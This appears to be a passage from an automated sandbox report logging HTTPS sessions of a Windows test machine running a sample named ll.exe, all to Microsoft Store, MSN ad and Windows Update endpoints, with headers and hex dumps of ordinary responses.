Data Ascii: "GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN",
2022-04-08 08:03:29 UTC8362INData Raw: 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 37 30 5f 61 72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 37 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 33 30 35 2e 32 33 33 31 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e
Data Ascii: __8wekyb3d8bbwe\",\"Microsoft.YourPhone_1.20012.135.70_arm__8wekyb3d8bbwe\",\"Microsoft.YourPhone_1.20012.135.70_x64__8wekyb3d8bbwe\"],\"content.isMain\":false,\"content.packageId\":\"Microsoft.YourPhone_2020.305.2331.70_neutral_~_8wekyb3d8bbwe\",\"conten
2022-04-08 08:03:29 UTC8366INData Raw: 61 6e 6b 22 3a 33 30 30 33 35 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 33 32 2e 31 31 31 2e 37
Data Ascii: ank":30035,"PlatformDependencies":[{"MaxTested":2814750970478592,"MinVersion":2814750890000384,"PlatformName":"Windows.Xbox"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.YourPhone_1.20032.111.7
2022-04-08 08:03:29 UTC8370INData Raw: 6f 72 74 65 64 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 32 39 37 30 39 33 35 32 32 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 32 36 36 34 37 37 35 36 38 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73
Data Ascii: orted_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":297093522,"MaxInstallSizeInBytes":266477568,"PackageFormat":"AppxBundle","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Micros
2022-04-08 08:03:29 UTC8374INData Raw: 69 65 6e 74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 53 79 73 74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 2c 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 22 70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 75 6e 73 69 67 6e 65 64 50 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 65
Data Ascii: ientServer","remoteSystem","phoneCall","confirmAppClose","phoneLineTransportManagement","phoneCallSystem","targetedContent","runFullTrust","packageManagement","Microsoft.unsignedPackageManagement_8wekyb3d8bbwe","Microsoft.storeFilter.core.notSupported_8we
2022-04-08 08:03:29 UTC8378INData Raw: 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 30 2e 32 32 30 32 32 2e 31 38 30 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 73 74 75 62 5c 22 3a 74 72 75 65 2c 5c 22 74 64 66 73 5c 22 3a 5b 7b 5c 22 6e 61 6d 65 5c 22 3a 5c 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 5c 22 2c 5c 22 76 6d 61 78 5c 22 3a 32 38 31 34 37 35 31 30 31 33 30 31 31 34 35 36 2c 5c 22 76 6d 69 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 33 30 31 31 34 35 36 7d 5d 7d 5d 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 50 72 6f 64 75 63 74 69 76 69 74 79 5c 22 2c 5c 22 6f 70 74 4f 75
Data Ascii: \":\"Microsoft.YourPhone_0.22022.180.0_x86__8wekyb3d8bbwe\",\"stub\":true,\"tdfs\":[{\"name\":\"Windows.Universal\",\"vmax\":2814751013011456,\"vmin\":2814751013011456}]}],\"policy\":{\"category.first\":\"app\",\"category.second\":\"Productivity\",\"optOu
2022-04-08 08:03:29 UTC8382INData Raw: 22 41 76 61 69 6c 61 62 69 6c 69 74 79 3b 33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 42 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 55 6e 69 66 69 65 64 41 70 70 3b 33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 49 64 22 3a 22 39 5a 33 52 50 4b 48 48 30 46 33 4c 22 2c 22 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 43 6c 69 65 6e 74 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 41 6c 6c 6f 77 65 64 50 6c 61 74 66 6f 72 6d 73 22 3a 5b 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e
Data Ascii: "Availability;3","AvailabilityBSchema":"AvailabilityUnifiedApp;3","AvailabilityId":"9Z3RPKHH0F3L","Conditions":{"ClientConditions":{"AllowedPlatforms":[{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Desktop"},{"MaxVersion":2147483647,"Min
2022-04-08 08:03:29 UTC8384INData Raw: 30 0d 0a 0d 0a
Data Ascii: 0


Session IDSource IPSource PortDestination IPDestination PortProcess
38192.168.2.35001640.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:28 UTC8310OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170238Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:29 UTC8310INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 3b39271d-dbd6-4eb2-a65c-936a6d90daba
Date: Fri, 08 Apr 2022 08:03:28 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
39192.168.2.35001840.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:29 UTC8384OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170240Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:29 UTC8385INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 16d561b9-4b64-46a5-9095-8f774241a94a
Date: Fri, 08 Apr 2022 08:03:29 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
4192.168.2.34997920.82.210.154443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:20 UTC19OUTGET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170212Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3382b3df4d44412c80bfa0684fe70791&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-338389&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=
Cache-Control: no-cache
MS-CV: BYqskdYKuUKf7ZeJ.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
2022-04-08 08:02:20 UTC25INHTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3040
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: hbm/NaKD1Y88vyGrUFJa51mxq4czyCcKZfRniQnRrpe7KDxlp6nyASo7iSvGM/2sNWT4ymazghHRGbVs8WjwgnboWUAdwFztPvqicNLKrQo8NGhTfxS0Rv8f2n4bpqctJnKEawx1M2SnpxRLbHtr7qu8MEdeQTzWjIQq5XOguJK8fSjZmAoLOjTA3ZZgrfFLTbyWfeAsHdbvNaR8BU6cPM6VQWZKlDizC4M5Xu4RPP5D00HXqXOEOamwmykZQ1RalPvbsqrWQdI5VTs58WMdgbe7CM8LzH/qFnmfCD4UGlzlqWi6B2d1HjkTpszvdYpBbV6yXnssU2Rkv0w/yaVJCw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 08 Apr 2022 08:02:19 GMT
Connection: close
2022-04-08 08:02:20 UTC26INData Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti


Session IDSource IPSource PortDestination IPDestination PortProcess
40192.168.2.35001940.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:29 UTC8385OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170241Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:29 UTC8386INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: e186c22d-a072-45c2-b289-f1be13951299
Date: Fri, 08 Apr 2022 08:03:28 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
41192.168.2.35002052.242.101.226443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:29 UTC8386OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:29 UTC8387INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: 90bb4944-6ad9-4afc-a150-a1d991f9a0c5
MS-RequestId: 6463b563-ca83-4b92-b11c-ccc435dc7307
MS-CV: uI/zKTnn50mW3R1i.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:29 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:29 UTC8387INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:29 UTC8403INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
42192.168.2.35002140.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:29 UTC8386OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170243Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:29 UTC8387INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 15ce020e-8099-43ec-9769-a05c49540657
Date: Fri, 08 Apr 2022 08:03:29 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
43192.168.2.35002240.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:29 UTC8418OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170245Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:29 UTC8418INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: a378e3ca-3722-47f6-be97-76d9ef742d76
Date: Fri, 08 Apr 2022 08:03:29 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
44192.168.2.35002440.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:30 UTC8418OUTGET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220408T170247Z&asid=e4896368b6a64edb9547962c054e1d7c&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:30 UTC8419INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: df9c344e-6ed5-4e51-b955-8a22664191fe
Date: Fri, 08 Apr 2022 08:03:29 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
45192.168.2.35002352.152.110.14443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:30 UTC8419OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:30 UTC8420INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: 50a0abe1-c847-462e-b060-4c273913643d
MS-RequestId: d8bf9f39-83d5-4d69-997b-8181ebe00294
MS-CV: 69kH4xewCEieSR9K.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:29 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:30 UTC8421INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
